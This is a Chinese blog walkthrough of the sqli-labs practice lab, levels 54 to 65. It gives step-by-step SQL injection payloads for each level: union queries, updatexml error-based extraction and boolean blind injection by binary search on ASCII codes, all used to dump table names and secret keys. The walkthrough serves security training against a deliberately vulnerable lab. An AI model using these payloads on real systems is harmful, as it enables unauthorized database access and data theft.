【Web安全靶场】sqli-labs-master 54-65 Challenges 与62关二分法和like模糊搜索

本文主要是介绍【Web安全靶场】sqli-labs-master 54-65 Challenges 与62关二分法和like模糊搜索,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

sqli-labs-master 54-65 Challenges

其他关卡和靶场见专栏…

文章目录

  • sqli-labs-master 54-65 Challenges
    • 第五十四关-联合注入
    • 第五十五关-联合注入
    • 第五十六关-联合注入
    • 第五十七关-联合注入
    • 第五十八关-报错注入
    • 第五十九关-报错注入
    • 第六十关-报错注入
    • 第六十一关-报错注入
    • 第六十二关-二分法与like模糊选择
    • 第63关-第65关-思路都是像62关一样,只是闭合不同而已

第五十四关-联合注入

页面有一串英文,翻译之后为:这个挑战的目的是在不到10个语句或有趣的时间内从数据库(CHALLENGES’)中的随机表中转储(密钥),每次重置,挑战都会产生随机表名、列名和表数据。始终保持新鲜。 这道题只要请求超过10次就失败了,失败的话就重置数据库,下面就给出答案(可能超过10步了,不管了):

  1. 进入界面
?id=1
  1. 引号探针,没有报错信息,判断为报错函数被注释,所以不考虑报错注入
?id=1'
  1. 判断是否为数字型注入,回显的不是1的信息,所以不是数字型注入
?id=2-1
  1. 确定闭合方式为单引号闭合
?id=1' and '1'='1
  1. 确定字段数
?id=1' order by 3 -- #
?id=1' order by 4 -- #
  1. 判断回显位
?id=-1' union select 1,2,3 -- #
  1. 获取数据(每个人的数据都是不一样的)
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='6rkzuquxqg' and table_schema=database() -- #
?id=-1' union select 1,group_concat(secret_T9CV),3 from 6rkzuquxqg -- #

在这里插入图片描述

第五十五关-联合注入

不翻译了…

  1. 使用引号探针,发现没有报错信息,所以报错注入用不了
?id=1'
  1. 使用2-1,回显的是1的信息,所以判断这是数字型注入
?id=2-1
  1. 使用order by发现没有任何作用,所以尝试了一下括号,发现这是带有括号的数字型
?id=1) order by 3 -- #
  1. 获取数据(每个人数据都不一样)
?id=-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #
?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='k8duqrwfn9' and table_schema=database() -- #
?id=-1) union select 1,group_concat(secret_A286),3 from k8duqrwfn9 -- #

在这里插入图片描述

第五十六关-联合注入

不翻译了…

  1. 利用2-1判断数字型,结果不是数字型
  2. 使用引号探针判断闭合,发现没有任何报错信息,所以不能用报错注入了111
  3. 判断闭合方式,发现界面正常回显
?id=1' and '1'='1
  1. 判断是否有括号,回显的是1的信息,所以闭合方式为引号加上括号闭合
?id=2' and '1'='1
  1. 判断字段数、回显位,并且获取数据
?id=1') order by 3 -- # 
?id=1') order by 4 -- # 
?id=-1') union select 1,2,3 -- # 
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- # 
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='dl4f4k42zy' and table_schema=database() -- # 
?id=-1') union select 1,group_concat(secret_DCQ2),3 from dl4f4k42zy -- # 

在这里插入图片描述

第五十七关-联合注入

不翻译了…

  1. 使用引号探针发现正常显示(单引号),这九成是双引号有关的了。
  2. 使用双引号探针发现没法显示并且没有报错(不能使用报错注入了),接着后面添加注释符号界面正常显示。
  3. 判断有没有括号,使用1") – #发现没有办法正常显示,所以得出这是双引号加上括号闭合。
  4. 获取字段数、回显位,数据。
?id=1" order by 3 -- #
?id=1" order by 4 -- #
?id=-1" union select 1,2,3 -- #
?id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #
?id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_name='oa1zfdkjwo' and table_schema=database() -- #
?id=-1" union select 1,group_concat(secret_ZVSW),3 from oa1zfdkjwo -- #

在这里插入图片描述

第五十八关-报错注入

限制在5个语句???!!!不想翻译了…

  1. 使用引号探针,发现回显出报错信息,这是单引号闭合,所以报错注入有望!

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1

  1. 获取数据!
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

XPATH syntax error: ‘~q6mi5yatt1’

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='q6mi5yatt1' and table_schema=database())),3) -- #

XPATH syntax error: ‘~id,sessid,secret_64YV,tryy’

?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_64YV) from q6mi5yatt1)),3) -- #

在这里插入图片描述

第五十九关-报错注入

  1. 使用引号探针,回显出报错信息,判断是数字型注入,报错注入有望。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1

  1. 获取数据。
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

XPATH syntax error: ‘~djwt50t0s9’

?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='djwt50t0s9' and table_schema=database())),3)

XPATH syntax error: ‘~id,sessid,secret_0MEE,tryy’

?id=1 and updatexml(1,concat(0x7e,(select group_concat(secret_0MEE) from djwt50t0s9)),3)

在这里插入图片描述

第六十关-报错注入

不想翻译…

  1. 使用引号探针(单引号),回显正常,九成是双引号有关的。
  2. 使用双引号探针,回显出报错信息,判断是双引号加上括号闭合,使用报错注入试一下。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1"”) LIMIT 0,1’ at line 1

  1. 获取数据。
?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

XPATH syntax error: ‘~ti6jxukf2b’

?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ti6jxukf2b' and table_schema=database())),3) -- #

XPATH syntax error: ‘~id,sessid,secret_U00Y,tryy’

?id=1") and updatexml(1,concat(0x7e,(select group_concat(secret_U00Y) from ti6jxukf2b)),3) -- #

在这里插入图片描述

第六十一关-报错注入

不想翻译…

  1. 使用引号探针,根据报错信息判断这是单引号加上两个括号闭合,使用报错注入。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’)) LIMIT 0,1’ at line 1

  1. 构造闭合,获取数据。
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

XPATH syntax error: ‘~6ze6q3awxl’

?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='6ze6q3awxl' and table_schema=database())),3) -- #

XPATH syntax error: ‘~id,sessid,secret_R72X,tryy’

?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_R72X) from 6ze6q3awxl)),3) -- #

在这里插入图片描述

第六十二关-二分法与like模糊选择

这一道题限制在130条语句中,所以猜测这是盲注

  1. 使用引号探针发现页面无法正常显示,并且没有报错信息,所以报错注入无效。
  2. 使用2-1,回显的是2的信息所以这不是数字型注入。
  3. 由于使用单引号探针页面无法正常显示则基本可以判断这不是双引号,所以有可能是单引号加上括号,使用注释符页面正常显示:
?id=1') -- #
  1. 使用Union注入结果没有任何回显位,所以考虑盲注。
  2. 获取数据的思路。
?id=1') and if(substr(database(),1,1)='c',1,0) -- #

首先我们知道了数据库名可以直接使用database()。由于密钥是在A-Z和a-z和0-9中选取的,所以直接暴力破解是不可取的,对此有两种应对方法:

  • 使用模糊搜索LIKE!
  • 使用二分法提高搜索效率!
  1. 获取部分表名,0-9的值为48-57,A-Z的值为65-90,a-z的值为97-122,开始爆破第一个值!
?id=1') and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))<58,1,0) -- #

通过上述语句可知第一个字符是数字:

在这里插入图片描述

?id=1') and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))<53,1,0) -- #

通过上述语句可以知道它是5-9之间的:

在这里插入图片描述

…省略

在这里插入图片描述

可以得到第一个数字是5,总共使用了6个请求。

  1. 获取字段名security_xxxx:获取表名之后可以根据table_name like ‘5%’,进行模糊搜索。

总共要爆破1+4+24=28,大约要使用170个请求,剩下看天意吧。

还有一种方法直接爆破24个密钥,就是再加2个select语句就行了,没实践成功纯思路,做出来给我评论。

还有一些奇奇怪怪的优化方法,不想折腾了,因为0-9还有大小写字母的ascii码分三段,所以如果一次请求中使用if嵌套语句,假设不是数字那就让它自动查询字母。

第63关-第65关-思路都是像62关一样,只是闭合不同而已

这篇关于【Web安全靶场】sqli-labs-master 54-65 Challenges 与62关二分法和like模糊搜索的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/767661

相关文章

HTML5 搜索框Search Box详解

《HTML5搜索框SearchBox详解》HTML5的搜索框是一个强大的工具,能够有效提升用户体验,通过结合自动补全功能和适当的样式,可以创建出既美观又实用的搜索界面,这篇文章给大家介绍HTML5... html5 搜索框(Search Box)详解搜索框是一个用于输入查询内容的控件,通常用于网站或应用程

Java中常见队列举例详解(非线程安全)

《Java中常见队列举例详解(非线程安全)》队列用于模拟队列这种数据结构,队列通常是指先进先出的容器,:本文主要介绍Java中常见队列(非线程安全)的相关资料,文中通过代码介绍的非常详细,需要的朋... 目录一.队列定义 二.常见接口 三.常见实现类3.1 ArrayDeque3.1.1 实现原理3.1.2

python web 开发之Flask中间件与请求处理钩子的最佳实践

《pythonweb开发之Flask中间件与请求处理钩子的最佳实践》Flask作为轻量级Web框架,提供了灵活的请求处理机制,中间件和请求钩子允许开发者在请求处理的不同阶段插入自定义逻辑,实现诸如... 目录Flask中间件与请求处理钩子完全指南1. 引言2. 请求处理生命周期概述3. 请求钩子详解3.1

SpringBoot项目Web拦截器使用的多种方式

《SpringBoot项目Web拦截器使用的多种方式》在SpringBoot应用中,Web拦截器(Interceptor)是一种用于在请求处理的不同阶段执行自定义逻辑的机制,下面给大家介绍Sprin... 目录一、实现 HandlerInterceptor 接口1、创建HandlerInterceptor实

Web技术与Nginx网站环境部署教程

《Web技术与Nginx网站环境部署教程》:本文主要介绍Web技术与Nginx网站环境部署教程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、Web基础1.域名系统DNS2.Hosts文件3.DNS4.域名注册二.网页与html1.网页概述2.HTML概述3.

Python使用Reflex构建现代Web应用的完全指南

《Python使用Reflex构建现代Web应用的完全指南》这篇文章为大家深入介绍了Reflex框架的设计理念,技术特性,项目结构,核心API,实际开发流程以及与其他框架的对比和部署建议,感兴趣的小伙... 目录什么是 ReFlex?为什么选择 Reflex?安装与环境配置构建你的第一个应用核心概念解析组件

Nginx使用Keepalived部署web集群(高可用高性能负载均衡)实战案例

《Nginx使用Keepalived部署web集群(高可用高性能负载均衡)实战案例》本文介绍Nginx+Keepalived实现Web集群高可用负载均衡的部署与测试,涵盖架构设计、环境配置、健康检查、... 目录前言一、架构设计二、环境准备三、案例部署配置 前端 Keepalived配置 前端 Nginx

MySQL中like模糊查询的优化方案

《MySQL中like模糊查询的优化方案》在MySQL中,like模糊查询是一种常用的查询方式,但在某些情况下可能会导致性能问题,本文将介绍八种优化MySQL中like模糊查询的方法,需要的朋友可以参... 目录1. 避免以通配符开头的查询2. 使用全文索引(Full-text Index)3. 使用前缀索

MyBatis模糊查询报错:ParserException: not supported.pos 问题解决

《MyBatis模糊查询报错:ParserException:notsupported.pos问题解决》本文主要介绍了MyBatis模糊查询报错:ParserException:notsuppo... 目录问题描述问题根源错误SQL解析逻辑深层原因分析三种解决方案方案一:使用CONCAT函数(推荐)方案二:

JAVA保证HashMap线程安全的几种方式

《JAVA保证HashMap线程安全的几种方式》HashMap是线程不安全的,这意味着如果多个线程并发地访问和修改同一个HashMap实例,可能会导致数据不一致和其他线程安全问题,本文主要介绍了JAV... 目录1. 使用 Collections.synchronizedMap2. 使用 Concurren